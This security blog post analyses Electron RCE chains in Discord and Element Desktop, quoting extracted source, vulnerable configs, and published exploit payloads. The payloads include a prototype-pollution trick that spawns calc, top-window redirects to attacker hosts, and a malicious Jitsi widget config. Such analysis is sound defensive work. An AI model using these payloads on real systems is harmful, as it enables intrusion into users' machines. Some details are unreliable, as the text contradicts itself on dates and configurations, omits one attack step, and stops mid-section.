Electron app security risks — Part 2: Real-world RCE chains in Discord and Element

Smart Contract Security: Risks, Audits, and Best Practices
Smart Contract Security: Risks, Audits, and Best Practices
April 29, 2026

May 8, 2026

Part 1 covered the basics: main process vs renderer, what nodeIntegration, contextIsolation, and sandbox actually do, and how a misconfigured webPreferences flag turns a contained XSS into full RCE.

This post goes the other way. Instead of theory, we pull apart two real exploit chains that hit production Electron apps: Discord (600M+ users) and Element Desktop, the flagship Matrix client. Discord ships its bootstrapper as an ASAR archive that anyone can extract, so we did. Every snippet below came out of an installed binary, not a textbook.

Reverse engineering Discord Desktop

Extracting the source

Electron apps bundle their JavaScript into ASAR (Atom Shell Archive) files. Discord’s bootstrapper lives at resources/app.asar inside the install directory. On Windows that’s:

C:\Users\<username>\AppData\Local\Discord\app-<version>\resources\app.asar

Extracting it takes one command:

npx asar extract app.asar discord_extracted/

Out comes the full bootstrapper source tree. The version we extracted runs on Electron 37.6.1, which you can confirm in package.json:

{
    "name": "discord",
    "license": "UNLICENSED",
    "description": "Discord Client for Desktop - Bootstrapper",
    "main": "app_bootstrap/index.js",
    "private": true,
    "scripts": {
        "eslint": "eslint . --ext .ts,.tsx --color --quiet",
        "prettier": "prettier --write .",
        "tsc": "tsc --pretty"
    },
    "dependencies": {
        "@sentry/browser": "7.112.0",
        "@sentry/electron": "4.24.0",
        "arch": "2.2.0",
        "electron-log": "5.2.0",
        "mkdirp": "^1.0.2",
        "request": "2.88.0",
        "rimraf": "^2.6.3",
        "yauzl": "^2.10.0"
    },
    "devDependencies": {
        "@types/node": "*",
        "@types/request": "^2.48.5",
        "@types/mkdirp": "^1.0.2",
        "@types/rimraf": "^3.0.0",
        "devtron": "1.4.0",
        "electron": "37.6.1"
    }
}

Note: The ASAR only contains the bootstrapper. The actual Discord UI (discord_desktop_core) loads as a native module at runtime after the update process runs. The bootstrapper still owns the security configuration that governs the entire process tree.

File structure

discord_extracted/
├── app_bootstrap/
│   ├── index.js               # Entry point — mode selection (app vs overlay-host)
│   ├── bootstrap.js           # Initialization — GPU flags, protocols, splash screen
│   ├── splashScreen.js        # BrowserWindow creation with security config
│   ├── splashScreenPreload.js # contextBridge implementation (DiscordSplash API)
│   ├── installDevTools.js     # Devtron / DevTools install helpers
│   ├── ipcMain.js             # IPC channel wrapper with DISCORD_ prefix
│   ├── protocols.js           # Custom protocol scheme registration (disclip://)
│   ├── squirrelUpdate.js      # Windows installer — registry protocol handler
│   ├── hostUpdater.js         # Host update orchestration
│   ├── appUpdater.js          # App update orchestration
│   ├── errorHandler.js        # Uncaught exception handling
│   ├── windowsUtils.js        # Windows registry / process helpers
│   └── Constants.js           # App configuration constants
├── common/
│   ├── securityUtils.js       # URL blocklist for shell.openExternal
│   ├── constants.js           # DISCORD_CLIP_PROTOCOL = 'disclip'
│   ├── moduleUpdater.js       # Module update system
│   ├── updater.js             # Core updater logic
│   ├── crashReporterSetup.js  # Sentry / crash reporter wiring
│   └── paths.js               # Filesystem path helpers
└── node_modules/              # Bundled dependencies

BrowserWindow configuration

The most security-relevant file is splashScreen.js. It’s where the BrowserWindow gets its webPreferences:

// discord_extracted/app_bootstrap/splashScreen.js (lines 375-401)
function launchSplashWindow(startMinimized) {
  const windowConfig = {
    width: LOADING_WINDOW_WIDTH,
    height: LOADING_WINDOW_HEIGHT,
    transparent: false,
    frame: false,
    resizable: false,
    center: true,
    show: false,
    webPreferences: {
      nodeIntegration: false,
      sandbox: false,
      contextIsolation: true,
      preload: _path.default.join(__dirname, 'splashScreenPreload.js')
    }
  };
  analytics.getDesktopTTI().trackSplashWindowCreated();
  splashWindow = new _electron.BrowserWindow(windowConfig);
  splashWindow.webContents.on('console-message', logger.ipcMainRendererLogger);
  splashWindow.webContents.on('will-navigate', e => e.preventDefault());
  splashWindow.webContents.setWindowOpenHandler(details => {
    void (0, _securityUtils.saferShellOpenExternal)(details.url);
    setTimeout(_electron.app.quit, 500);
    return {
      action: 'deny'
    };
  });
SettingValueWhat it means
nodeIntegrationfalseRenderer can’t call require() or hit Node.js APIs directly
contextIsolationtruePreload script lives in its own JS context, so prototype pollution is blocked
sandboxfalseRenderer is not OS-sandboxed. A V8 exploit gets the system.
will-navigateBlockedEvery navigation attempt is cancelled
setWindowOpenHandlerDenyNew windows blocked; URLs hand off to saferShellOpenExternal

Preload script: contextBridge

Discord’s preload uses contextBridge.exposeInMainWorld() to expose a small API surface to the renderer:

// discord_extracted/app_bootstrap/splashScreenPreload.js (lines 1-51)
"use strict";

var _electron = require("electron");
var _securityUtils = require("../common/securityUtils");
var _buildInfo = _interopRequireDefault(require("./buildInfo"));
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
const quitDiscord = () => {
  _electron.ipcRenderer.send('DISCORD_SPLASH_SCREEN_QUIT');
};
_electron.contextBridge.exposeInMainWorld('DiscordSplash', {
  getReleaseChannel: () => {
    return _buildInfo.default.releaseChannel;
  },
  signalReady: () => {
    console.log(`DiscordSplash.signalReady`);
    _electron.ipcRenderer.send('DISCORD_SPLASH_SCREEN_READY');
  },
  onStateUpdate: callback => {
    _electron.ipcRenderer.on('DISCORD_SPLASH_UPDATE_STATE', (_, state) => {
      console.log(`DiscordSplash.onStateUpdate: ${JSON.stringify(state)}`);
      callback(state);
    });
  },
  onQuoteUpdate: callback => {
    _electron.ipcRenderer.on('DISCORD_SPLASH_SCREEN_QUOTE', (_, quote) => {
      callback(quote);
    });
  },
  openUrl: _securityUtils.saferShellOpenExternal,
  quitDiscord,
  getBuildOverride: async () => {
    try {
      const buildOverride = await _electron.ipcRenderer.invoke('DISCORD_GET_BUILD_OVERRIDE_STATUS');
      return buildOverride;
    } catch (error) {
      console.error('Error fetching build override status:', error);
      return null;
    }
  },
  clearBuildOverride: async () => {
    try {
      const success = await _electron.ipcRenderer.invoke('DISCORD_CLEAR_BUILD_OVERRIDE');
      console.log(`DiscordSplash.clearBuildOverride: cookie cleared ${success}`);
      quitDiscord();
      return success;
    } catch (error) {
      console.error('Error clearing build override cookie:', error);
      return false;
    }
  }
});

This is the right pattern. The renderer only sees the eight functions explicitly exposed under DiscordSplash  getReleaseChannel, signalReady, onStateUpdate, onQuoteUpdate, openUrl, quitDiscord, getBuildOverride, clearBuildOverride. No raw ipcRenderer, no process, no Node APIs. openUrl itself is wired through saferShellOpenExternal, so even URL opens go through the blocklist before hitting shell.openExternal().

Worth noting: the current publicly distributed Discord build (app-1.0.9234) replaced this contextBridge-based preload with a different pattern where the preload owns ipcRenderer directly inside its isolated world and writes to the DOM itself. Both patterns are safe under contextIsolation: true — the renderer’s main world can’t reach ipcRenderer either way — but the audit surface is different. The version analyzed throughout this article is the contextBridge one.

URL filtering: blocklist

securityUtils.js filters URLs for shell.openExternal() using a blocklist:

// discord_extracted/common/securityUtils.js
const BLOCKED_URL_PROTOCOLS = ['file:', 'javascript:', 'vbscript:', 'data:', 'about:', 'chrome:', 'ms-cxh:', 'ms-cxh-full:', 'ms-word:'];
function shouldOpenExternalUrl(externalUrl) {
  let parsedUrl;
  try {
    parsedUrl = _url.default.parse(externalUrl);
  } catch (_) {
    return false;
  }
  if (parsedUrl.protocol == null || BLOCKED_URL_PROTOCOLS.includes(parsedUrl.protocol.toLowerCase())) {
    return false;
  }
  return true;
}
function saferShellOpenExternal(externalUrl) {
  if (shouldOpenExternalUrl(externalUrl)) {
    return _electron.shell.openExternal(externalUrl);
  } else {
    return Promise.reject(new Error('External url open request blocked'));
  }
}
function checkUrlOriginMatches(urlA, urlB) {
  let parsedUrlA;
  let parsedUrlB;
  try {
    parsedUrlA = _url.default.parse(urlA);
    parsedUrlB = _url.default.parse(urlB);
  } catch (_) {
    return false;
  }
  return parsedUrlA.protocol === parsedUrlB.protocol && parsedUrlA.slashes === parsedUrlB.slashes && parsedUrlA.host === parsedUrlB.host;
}

A blocklist is weaker than an allowlist. Anything not on the list (smb:, ldap:, ssh:, OS-specific custom protocols) gets through. An allowlist of [‘https:’, ‘http:’, ‘mailto:’] would be tighter.

IPC channels

Discord wraps ipcMain so every channel name picks up a DISCORD_ prefix:

// discord_extracted/app_bootstrap/ipcMain.js
const discordPrefixRegex = /^DISCORD_/;
function getDiscordIPCEvent(ev) {
  return discordPrefixRegex.test(ev) ? ev : `DISCORD_${ev}`;
}
var _default = exports.default = {
  on: (event, callback) => {
    _electron.ipcMain.on(getDiscordIPCEvent(event), callback);
  },
  removeListener: (event, callback) => {
    _electron.ipcMain.removeListener(getDiscordIPCEvent(event), callback);
  },
  handle: (event, callback) => _electron.ipcMain.handle(getDiscordIPCEvent(event), callback)
};

This avoids collisions with Electron’s internal IPC channels and makes channels easier to enumerate during an audit.

Custom protocol registration

Discord registers a disclip protocol with privileged access:

// discord_extracted/app_bootstrap/protocols.js
function beforeReadyProtocolRegistration() {
  const {
    protocol
  } = require('electron');
  const {
    DISCORD_CLIP_PROTOCOL
  } = require('../common/constants');
  protocol.registerSchemesAsPrivileged([{
    scheme: DISCORD_CLIP_PROTOCOL,  // 'disclip'
    privileges: {
      standard: true,
      secure: true,
      supportFetchAPI: true,
      stream: true
    }
  }]);
}

secure: true makes disclip:// URLs count as secure origins, the same as HTTPS, which unlocks powerful Web APIs. stream: true enables streaming responses. Used for clip sharing.

Windows protocol handler installation

On Windows, Discord registers its URL protocol via the registry through Squirrel:

// discord_extracted/app_bootstrap/squirrelUpdate.js (lines 73-77)
function installProtocol(protocol, callback) {
  const queue = [
    ['HKCU\\Software\\Classes\\' + protocol, '/ve', '/d', `URL:${protocol} Protocol`],
    ['HKCU\\Software\\Classes\\' + protocol, '/v', 'URL Protocol'],
    ['HKCU\\Software\\Classes\\' + protocol + '\\DefaultIcon', '/ve', '/d', '"' + process.execPath + '",-1'],
    ['HKCU\\Software\\Classes\\' + protocol + '\\shell\\open\\command', '/ve', '/d', `"${process.execPath}" --url -- "%1"`]
  ];
  const windowsUtils = require('./windowsUtils');
  windowsUtils.addToRegistry(queue, callback);
}

The –url — “%1” pattern matters: the — separator stops the URL from being parsed as a CLI flag. That’s a mitigation against argument-injection attacks like CVE-2018-1000006, which historically hit Electron protocol handlers.

Discord Desktop RCE — Masato Kinugawa’s 3-bug chain (2020)

In October 2020, Masato Kinugawa published one of the cleanest Electron exploit chains on record: a zero-click RCE against Discord Desktop that needed three separate bugs to land. The user just had to see a chat message.

The vulnerable config

The actual BrowserWindow config from vulnerable Discord, quoted verbatim by Kinugawa from the extracted source he was looking at:

// As published in Kinugawa's writeup — vulnerable Discord, October 2020
const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

Two things missing here matter: there’s no contextIsolation (so it defaults to false) and no sandbox (also defaults to false). The combination is the chain’s enabler.

Note: this snippet lives in discord_desktop_core, the runtime-downloaded native module that holds Discord’s main UI. It is not part of the installer’s app.asar. We can’t extract it from any Discord installer, ever — the reverse-engineering section earlier in this article shows the bootstrapper, which is a separate process. The snippet above comes straight from Kinugawa’s published research, not our extraction.

Bug 1: XSS via Sketchfab embed

Discord auto-renders rich embeds for whitelisted providers (YouTube, Twitch, Spotify, and so on). One of those was Sketchfab, a 3D model viewer. Discord parsed Open Graph Protocol (OGP) metadata from shared URLs. Kinugawa’s actual PoC payload was an HTML page that returned this OGP set:

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

When a link to that page got dropped into a chat, Discord built an iframe loading the Sketchfab embed. Kinugawa found a DOM-based XSS in the footnote of one Sketchfab 3D model embed, which gave him JavaScript execution inside the iframe the moment the embed rendered. No click required.

Bug 2: Navigation bypass (CVE-2020-15174)

Discord had navigation guards to keep the main window from leaving its origin. Both handlers, verbatim from Kinugawa’s writeup:

// As published in Kinugawa's writeup — Discord's navigation handlers
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});

mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

The catch: Electron’s will-navigate event didn’t fire for top-level navigations triggered by sub-frames. From inside the Sketchfab iframe XSS, the attacker could just run:

// From within the Sketchfab iframe XSS context:
top.location = "//l0.cm/discord_calc.html";

The whole Discord main window got redirected to the attacker’s page. The navigation handler never saw it. CVE-2020-15174 was assigned to this Electron framework flaw (CVSS 7.5).

Bug 3: Prototype pollution RCE

With contextIsolation: false, the attacker’s page (now in the main Discord renderer) shared a JavaScript context with the preload script. That preload exposed a DiscordNative API for loading internal modules:

DiscordNative.nativeModules.requireModule('discord_utils')

Inside discord_utils was a getGPUDriverVersions() function that ran nvidia-smi.exe via the execa library. The actual function source, verbatim from Kinugawa’s writeup:

// As published in Kinugawa's writeup — discord_utils.getGPUDriverVersions
module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

Kinugawa weaponized this through prototype pollution. His verbatim payload:

// As published in Kinugawa's writeup — exploit payload
RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Walking through it:

  1. getGPUDriverVersions() calls execa to spawn nvidia-smi
  2. execa calls RegExp.prototype.test() to validate args — now always returns false, sanitization gone
  3. execa calls Array.prototype.join() to build the command string — now returns “calc” (or anything)
  4. The system spawns calc.exe instead of nvidia-smi.exe. Arbitrary command execution.

Full attack flow digram

Kinugawa Full attack flow digram

Response

Discord turned around the fix in 40 minutes:

  • Sketchfab embeds disabled immediately
  • HTML sandbox attribute added to all embed iframes
  • Multi-month migration to contextIsolation: true (finished August 2020)
  • Bounty: $5,000, above their normal $3,000 critical rate

ElectroVolt — Discord RCE round 2 (2021)

A year after Kinugawa’s report, s1r1us and ptrYudai found a fresh RCE chain against Discord. They presented it at Black Hat USA 2022 and DEF CON 30 under the title “ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron.”

What had changed (and what hadn’t)

By July 2021, Discord had contextIsolation: true. The prototype pollution path was dead. The actual post-Kinugawa-fix config, verbatim from the ElectroVolt writeup:

// As published by ElectroVolt — Discord post-Kinugawa-fix, July 2021
const mainWindowOptions = {
  title: 'Discord',
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true,
    contextIsolation: true,
  }
};

Two big gaps remained: there’s no sandbox flag (defaults to false, no OS-level renderer sandbox), and Discord was still running Electron 9.x with Chromium 83.0.4103.122 — dozens of V8 patches behind.

Stage 1: Vimeo embed XSS + CSP bypass

The researchers (working with Harsh Jaiswal) found XSS in a Vimeo embed endpoint. Vimeo was on Discord’s whitelist. The embed’s CSP was thin:

Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'

ElectroVolt’s published OGP payload (the part that triggered the chain when posted in chat — embed URL redacted by them):

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    <meta property="og:description" content="asdasdf<b>Description</b<>">
    <meta property="og:type" content="video">
    <meta property="og:image" content="https://pbs.twimg.com/profile_images/...">
    <meta property="og:video:url" content="https://redacted/redacted?redacted=x&redacted=javascript://asd.com?f=1%27%250awindow.open(...)//&payload=...">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>
<body>test</body>
</html>

To break out of frame-src restrictions they used Chromium bug #1115045, a CSP bypass that let them navigate out of the restricted frame.

Stage 2: Sandbox escape via new-window

All embed iframes ran with the HTML-level sandbox attribute. Here’s the hole:

  1. From the Vimeo XSS, open a new window using a permissive new-window event handler
  2. The new window inherits the iframe’s sandbox
  3. Redirect the new window cross-origin (to the attacker’s server)
  4. Chromium spawns a fresh renderer process for the new origin
  5. Discord’s webPreferences doesn’t include sandbox: true, so the new process is unsandboxed

The HTML sandbox attribute only constrains the iframe. It does nothing for the Electron process model. Cross-origin redirect, new process, sandbox gone.

Stage 3: V8 type confusion (CVE-2021-21220)

With an unsandboxed renderer running attacker-controlled JS, the chain dropped a V8 type confusion exploit for Chromium bug 1196683 (CVE-2021-21220). Discord was on Chromium 83.0.4103.122 — dozens of V8 patches behind.

The exploit:

  1. Triggers V8 type confusion in the JS engine
  2. Gets arbitrary read/write in renderer memory
  3. Overwrites function pointers or JIT’d code
  4. Spawns arbitrary system commands. RCE.
electrovolt discord rce chain

What this teaches

contextIsolation: true on its own isn’t enough. Without sandbox: true, the renderer runs with full system access, and any V8 memory bug — Chromium ships dozens of those patched per release — turns into RCE. Running an outdated Chromium on top of that just compounds the problem.

CVE-2024-23739 — Discord macOS RunAsNode RCE

FieldValue
CVECVE-2024-23739
CVSS9.8 (CRITICAL)
AffectedDiscord for macOS <= 0.0.291
Attack VectorNetwork / Local

The bug

This one comes from two Electron settings that were left enabled in Discord for macOS:

  1. ELECTRON_RUN_AS_NODE — env var that, set to 1, makes the Electron app behave like a plain Node.js runtime with full system access
  2. enableNodeCliInspectArguments — enables Node’s inspector/debugger CLI args, which can be used for code injection

With both on, an attacker can do this:

The electroniz3r tool automates the discovery: it scans installed Electron apps, checks fuse configuration, and figures out which ones still allow ELECTRON_RUN_AS_NODE.

The fix

Discord 0.0.292 disabled both the RunAsNode fuse and enableNodeCliInspectArguments using Electron Fuses, compile-time security toggles baked into the binary that can’t be flipped at runtime.

Repeatable Electron Security Bugs — 3 CVEs representing developer mistakes that will happen again: electron-framework-cves-part2.md. Covers CVE-2024-23739 (Discord RunAsNode RCE), CVE-2022-23597 (Element Widget RCE), and CVE-2022-36059 (Element Prototype Pollution).

Element Desktop vulnerabilities — deep dive

Element (formerly Riot.im, formerly Vector) is the flagship client for Matrix, the decentralized comms protocol. As an Electron app handling end-to-end encrypted messages for governments, militaries, and activists, it’s a high-value target. The French government uses it. So does the Bundeswehr.

Why widgets are the attack surface

Discord’s attack surface comes from oEmbed iframes. Element’s comes from its widget system: Matrix rooms can embed widgets, interactive iframes living inside the Element UI:

┌──────────────────────────────────────────────────┐
│  Element Desktop (Electron Main Process)         │
│  ┌────────────────────────────────────────────┐  │
│  │  Renderer Process (BrowserWindow)          │  │
│  │  ┌──────────────────────────────────────┐  │  │
│  │  │  Element Web App (React)             │  │  │
│  │  │  ┌──────────┐  ┌──────────────────┐  │  │  │
│  │  │  │  Chat UI  │  │  Widget iframe   │  │  │  │
│  │  │  │          │  │  (Jitsi, custom) │  │  │  │
│  │  │  │          │  │  ← ATTACKER HERE │  │  │  │
│  │  │  └──────────┘  └──────────────────┘  │  │  │
│  │  └──────────────────────────────────────┘  │  │
│  └────────────────────────────────────────────┘  │
└──────────────────────────────────────────────────┘

Room admins in Matrix can add, modify, and configure widgets. Translation: any room admin sets widget URLs, and if you’re sitting in an untrusted room, that URL goes wherever they want it to go.

CVE-2022-23597: Element Desktop RCE — full chain (CVSS 8.8)

The most serious Element bug — full RCE — was found by the same ElectroVolt team that hit Discord round 2. It combines an Electron framework bug (CVE-2022-29247) with Element’s widget architecture.

The actual config (this is the surprising part)

A common writeup of CVE-2022-23597 frames Element as having a bad webPreferences config. Pulling the source for element-desktop v1.9.6 (the last release before the fix, December 2021) tells a different story. Element was already well-hardened:

// historical/element-desktop-1.9.6/src/electron-main.ts (lines 815-824)
// Turn the sandbox on for *all* windows we might generate. Doing this means we don't
// have to specify a `sandbox: true` to each BrowserWindow.
//
// This also fixes an issue with window.open where if we only specified the sandbox
// on the main window we'd run into cryptic "ipc_renderer be broke" errors. Turns out
// it's trying to jump the sandbox and make some calls into electron, which it can't
// do when half of it is sandboxed. By turning on the sandbox for everything, the new
// window (no matter how temporary it may be) is also sandboxed, allowing for a clean
// transition into the user's browser.
app.enableSandbox();
// historical/element-desktop-1.9.6/src/electron-main.ts (lines 925-945)
const preloadScript = path.normalize(`${__dirname}/preload.js`);
mainWindow = global.mainWindow = new BrowserWindow({
    backgroundColor: '#fff',
    icon: iconPath,
    show: false,
    autoHideMenuBar: store.get('autoHideMenuBar', true),
    x: mainWindowState.x,
    y: mainWindowState.y,
    width: mainWindowState.width,
    height: mainWindowState.height,
    webPreferences: {
        preload: preloadScript,
        nodeIntegration: false,
        //sandbox: true, // We enable sandboxing from app.enableSandbox() above
        contextIsolation: true,
        webgl: false,
    },
});
mainWindow.loadURL('vector://vector/webapp/');

So Element 1.9.6 had:

  • contextIsolation: true
  • nodeIntegration: false
  • app.enableSandbox() — globally enables sandbox: true for every BrowserWindow
  • A custom vector:// protocol with path-traversal protection (..-rejection in the file resolver)
  • A contextBridge-exposed preload with a 14-channel IPC allowlist:
// historical/element-desktop-1.9.6/src/preload.ts
const CHANNELS = [
    "app_onAction", "before-quit", "check_updates", "install_update",
    "ipcCall", "ipcReply", "loudNotification", "preferences",
    "seshat", "seshatReply", "setBadgeCount", "update-downloaded",
    "userDownloadCompleted", "userDownloadOpen",
];

contextBridge.exposeInMainWorld("electron", {
    on(channel, listener) {
        if (!CHANNELS.includes(channel)) {
            console.error(`Unknown IPC channel ${channel} ignored`);
            return;
        }
        ipcRenderer.on(channel, listener);
    },
    send(channel, ...args) {
        if (!CHANNELS.includes(channel)) {
            console.error(`Unknown IPC channel ${channel} ignored`);
            return;
        }
        ipcRenderer.send(channel, ...args);
    },
    /* ... getDesktopCapturerSources ... */
});

It even used a URL allowlist for shell.openExternal() — exactly what we recommend Discord adopt:

// historical/element-desktop-1.9.6/src/webcontents-handler.ts
const PERMITTED_URL_SCHEMES: string[] = [
    'http:', 'https:', 'mailto:',
];

Element ran Electron 13.5 (per their package.json).

So why was this Element vulnerable? Not because of misconfiguration — because of the Electron framework bug CVE-2022-29247 (CVSS 9.8). That bug let child frames created in a compromised renderer reach ipcRenderer regardless of nodeIntegrationInSubFrames. A correctly configured Electron app could still get popped, because the framework’s own access control was broken. This is the same class of problem that bit Discord with CVE-2020-15174 — Electron itself shipping a security boundary that didn’t hold.

Step 1: Widget URL injection

A malicious Matrix room admin modifies the room state to add a Jitsi video widget with an attacker-controlled conferenceDomain:

{
    "type": "im.vector.modular.widgets",
    "content": {
        "type": "jitsi",
        "url": "https://app.element.io/jitsi.html?conferenceDomain=ATTACKER.COM",
        "name": "Video Conference"
    }
}

When anyone opens the widget, Element loads Jitsi’s integration page. The conferenceDomain parameter builds the Jitsi iframe URL. It now points to the attacker’s server, not meet.jit.si.

Step 2: will-navigate bypass

Element had a will-navigate handler to stop the main window leaving its origin:

// Element's navigation protection (pre-fix)
mainWindow.webContents.on('will-navigate', (event, url) => {
    if (!url.startsWith('vector://vector/webapp/')) {
        event.preventDefault();
    }
});

Same problem as Discord’s Kinugawa exploit. will-navigate doesn’t fire on child-frame-initiated navigations (CVE-2020-15174). The attacker’s widget iframe runs:

// From attacker's widget iframe:
top.location = "https://attacker.com/exploit.html";

Element’s main window goes to the attacker’s page. The handler never fires.

Step 3: ipcRenderer via CVE-2022-29247

The framework bug. Attacker content, now in Element’s renderer, creates sub-frames that get ipcRenderer even though Element set nodeIntegrationInSubFrames: false:

// Attacker's exploit.html — gains unauthorized ipcRenderer access
// CVE-2022-29247: nodeIntegrationInSubFrames leaks to child frames
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);

// The iframe's contentWindow has ipcRenderer available
// despite Element setting nodeIntegrationInSubFrames: false
iframe.contentWindow.electron.ipcRenderer.send(
    'privileged-ipc-channel',
    maliciousPayload
);

Step 4: Main process compromise

With ipcRenderer access, the attacker hits any IPC handler registered in Element’s main process. Those handlers could:

  • Run shell commands
  • Touch the filesystem
  • Talk to the system tray and notifications
  • Read or write the Matrix access token

End result: full RCE on the victim’s machine, just from opening a widget in a Matrix room.

Full attack flow

element desktop cve-2022-23597 jisti widget rce

Response

Element Desktop 1.9.7 (January 2022):

  • Added did-navigate and will-redirect handlers alongside will-navigate
  • setWindowOpenHandler with strict origin checks
  • Started migrating to contextIsolation: true
  • Widget iframes moved to isolated sessions

The Electron framework bug (CVE-2022-29247) was fixed in Electron 15.5.5, 16.2.6, and 17.2.0.

CVE-2022-36059: prototype pollution via widgets (CVSS 5.3–8.2)

This was prototype pollution (CWE-1321) inside matrix-js-sdk, the library that powers Element’s Matrix client logic.

The problem

Element embedded Matrix widgets as iframes inside the main BrowserWindow. Before context isolation landed, widgets and the main app shared the same JS runtime:

Main app: vector://vector/webapp/ (Element's local origin)
Widget:   https://evil-widget.attacker.com/ (attacker-controlled)

Both running in the SAME renderer process
→ Shared JavaScript prototype chain
→ Prototype pollution from widget affects main app

Same renderer, same prototype chain. Pollution from a widget hit the main app:

// From malicious widget iframe (shared JS context):
Object.prototype.polluted = true;
Array.prototype.join = function() { return "malicious"; };

// These modifications affect Element's own code running in the same context
// matrix-js-sdk functions now operate on polluted prototypes

Element’s own code, running in the same context, now operates on polluted prototypes. matrix-js-sdk operations break in attacker-defined ways.

Impact

  • Manipulate Matrix SDK behavior (message parsing, key handling)
  • Bypass security checks that rely on prototype methods
  • Potentially escalate to RCE through prototype pollution of Node.js internals

The fix

Widgets moved into separate BrowserView instances with isolated session partitions and full context isolation:

// Post-fix: Widgets get completely isolated environments
const widgetView = new BrowserView({
    webPreferences: {
        contextIsolation: true,      // Isolated JS context
        sandbox: true,               // OS-level sandbox
        partition: `widget-${widgetId}`,  // Separate session/cookies
        nodeIntegration: false,      // No Node.js access
        preload: undefined,          // No preload script at all
    }
});

NVD and the GitHub CNA disagreed on CVSS (5.3 vs 8.2), reflecting different reads on availability and integrity impact. The higher score accounts for prototype pollution potentially wrecking the entire SDK runtime.

Matrix SDK cryptographic vulnerabilities (September 2022)

In September 2022, four critical CVEs landed in matrix-js-sdk, the cryptographic engine behind Element’s E2EE. Worth covering because they show E2EE protocol bugs can be just as catastrophic as Electron config bugs.

CVE-2022-39249: Megolm key forwarding impersonation (CRITICAL)

The worst of the four. Matrix uses the Megolm protocol for group encryption. Each room session has a Megolm session key that encrypts messages. When a user joins, existing members can forward the session key so the new user can decrypt history.

The bug: matrix-js-sdk accepted unsolicited Megolm session key forwards from any device, without checking:

  • That the sender owned the original key
  • That the key forward was actually requested
  • That the sender’s device was verified
Attack Flow:
1. Attacker and victim are in the same encrypted Matrix room
2. Attacker creates a FAKE Megolm session key
3. Attacker sends an unsolicited key forward to the victim
4. Victim's client accepts the key and uses it for "decryption"
5. Attacker sends messages encrypted with the fake key
6. Victim sees attacker-controlled content that appears legitimately encrypted
7. Messages may even show the verified (✓) indicator

Impact: an attacker could make a victim’s client display fabricated messages that appear encrypted and verified. Verified checkmark and all. In a government or military context, that means forged commands, forged intelligence reports, forged operational orders.

CVE-2022-39250: device verification bypass

The SAS (Short Authentication String) verification protocol — where two users compare emoji sequences to verify each other’s devices — had a transaction ID confusion bug. An attacker could manipulate the verification flow to get their malicious device marked verified on the victim’s client.

CVE-2022-39251: event edit sender validation bypass

Matrix supports message editing. The SDK didn’t verify that an edit event came from the original sender. Someone else could edit your message.

CVE-2022-39236: beacon event validation failure

The MSC3488 location sharing feature (parseBeaconContent()) was missing null checks. Crafted beacon events caused parse errors and unexpected behavior.

Combined impact

Together these meant even a perfectly configured Electron app couldn’t save Element from protocol-level attacks:

LayerVulnerabilityWhat it breaks
Electron (app)CVE-2022-23597App-level RCE via widgets
Electron (framework)CVE-2022-29247ipcRenderer access control
SDK (crypto)CVE-2022-39249Message authenticity
SDK (crypto)CVE-2022-39250Device trust model
SDK (crypto)CVE-2022-39251Message integrity
SDK (protocol)CVE-2022-39236Feature reliability

All four SDK bugs were fixed in matrix-js-sdk 19.7.0 (September 2022).

Element vs Discord: parallel patterns

Both apps walked nearly identical paths:

PatternDiscordElement
Initial config (at time of first RCE)contextIsolation: falseAlready hardened (contextIsolation: true, app.enableSandbox())
First RCE2020 (Kinugawa)2022 (ElectroVolt)
RCE entry pointSketchfab embed iframeJitsi widget iframe
Navigation bypassCVE-2020-15174 (will-navigate sub-frame)Same class of bypass
Primary root causeApp misconfig (contextIsolation: false)Electron framework bug (CVE-2022-29247)
Fix timelineWeeks to monthsWeeks
Post-fix RCE2021 (ElectroVolt V8 exploit)2022 (crypto-level SDK attacks)
sandbox: true adoptedStill partial (2025)Already on (via app.enableSandbox())

The parallel is real but the diagnoses differ: Discord got hit because of its own configuration in 2020; Element got hit despite a configuration that was actually quite good — the root cause was an Electron framework bug that broke the boundary the app was relying on. Both stories should make app developers nervous, just for different reasons. One says “your config matters.” The other says “your config matters AND the framework can still betray you.”

The V8 patch gap

Even with contextIsolation: true and sandbox: true, Electron apps face a systemic threat: the V8 patch gap.

How it works

